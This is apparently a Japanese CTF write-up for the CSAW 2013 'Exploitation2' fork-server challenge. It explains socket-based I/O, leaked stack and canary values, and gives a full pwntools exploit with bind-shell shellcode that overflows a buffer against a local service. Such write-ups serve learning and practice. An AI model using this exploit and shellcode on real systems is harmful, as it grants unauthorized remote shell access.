CSAW CTF Qualification Round 2013: Exploitation2
はじめに
fork-server型の問題。とりあえず脆弱性は見つけたんだけど、fork-server型問題が初めてだったのと、直接シェルを繋げないので詰まっていて、他のwriteupを見てしまった。精進したい。
fork-server型
この説明がわかりやすかったと思う。
この問題はいわゆるfork-server型と言われるようなpwnだった。fork-server型とは、socket→bind→listen→accept→forkの順番で行われるserverのことである。 これは、xinetd型と言われるserverとは違い、標準入出力とは繋がっていないのである。socketディスクリプタを使用して入出力が行われるため、>system(/bin/sh)だけを起動しても全く意味がないのである。標準入出力にも自分が送っている内容を影響させるにはdup2などを使って自分が使っている>socketディスクリプタを繋げてあげる必要がある。
なるほど〜〜〜と、プログラムの入出力について一つ勉強になった。
事前調査
$ file ./exploit2 ./exploit2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=94f196c7d8ce45ecf9943690ed4e193c9d13b906, not stripped $ checksec ./exploit2 [*] '/home/ubuntu/writeup/bata/baby/Exploitation2/exploit2' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE
よさそう。
実行してみる
$ nc localhost 31338 WÐÿ©GWelcome to CSAW CTF. Exploitation 2 will be a little harder this year. Insert your exploit here:
接続してみると、最初の数バイト分謎の文字列が出力されているみたいなので、hexdumpとかで調べてみる。
$ nc localhost 31338 | hexdump -C 00000000 0c 57 d0 ff 61 0a a5 4b 57 65 6c 63 6f 6d 65 20 |.W..a..KWelcome | 00000010 74 6f 20 43 53 41 57 20 43 54 46 2e 20 20 45 78 |to CSAW CTF. Ex| 00000020 70 6c 6f 69 74 61 74 69 6f 6e 20 32 20 77 69 6c |ploitation 2 wil| 00000030 6c 20 62 65 20 61 20 6c 69 74 74 6c 65 20 68 61 |l be a little ha| 00000040 72 64 65 72 20 74 68 69 73 20 79 65 61 72 2e 20 |rder this year. | 00000050 20 49 6e 73 65 72 74 20 79 6f 75 72 20 65 78 70 | Insert your exp|
見てみると、0xffd0570c
と0x4ba50a61
っていう一見アドレスっぽい値が出力されてる。
これをidaで見てみると、自前でcanary実装してるっぽい。僕の環境だとsecret
みたいな値をローカル変数に格納して、それを後から元の値と照らし合わせてた。
handleって関数の中身を見ると、最初にバッファのアドレス、そのあとcanary値をsendしていたので、この二つの値はそれぞれスタック上のバッファアドレスとcanary値であることがわかる。
bufferのサイズは0x800なので、<shellcode><padding><canary><padding><buffer_address>ってしてあげればよさそう。
….と思ったら、shellが取れなくて死んでた。
exploit
最終的に書いたのは以下の通り。
from pwn import * r = remote('127.0.0.1', 31338) recv = r.recvuntil('here:') buf = u32(recv[0:4]) # leaked buffer address sec = u32(recv[4:8]) # leaked secret address print "buf: {}".format(hex(buf)) print "sec: {}".format(hex(sec)) shellcode = ''.join(["\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a", "\x02\x89\xe1\xcd\x80\x5b\x5e\x52\x66\x68", "\x2b\x67\x6a\x10\x51\x50\xb0\x66\x89\xe1", "\xcd\x80\x89\x51\x04\xb0\x66\xb3\x04\xcd", "\x80\xb0\x66\x43\xcd\x80\x59\x93\x6a\x3f", "\x58\xcd\x80\x49\x79\xf8\xb0\x0b\x68\x2f", "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3", "\x41\xcd\x80",]) buf_len = 0x800 - len(shellcode) payload = shellcode + '\x90'*buf_len + p32(sec) + '\x90'*0xc + p32(buf) r.sendline(payload) # r.interactive() p = remote('127.0.0.1', 11111) p.interactive()
ちなみに、シェルコードはshellstormからportを11111番で待ち受けていて、つなぐとshellが開かれているのでそのままncとかで繋げてあげれば良い。
感想
fork-server型の問題は初めて解いたので、いい勉強になった。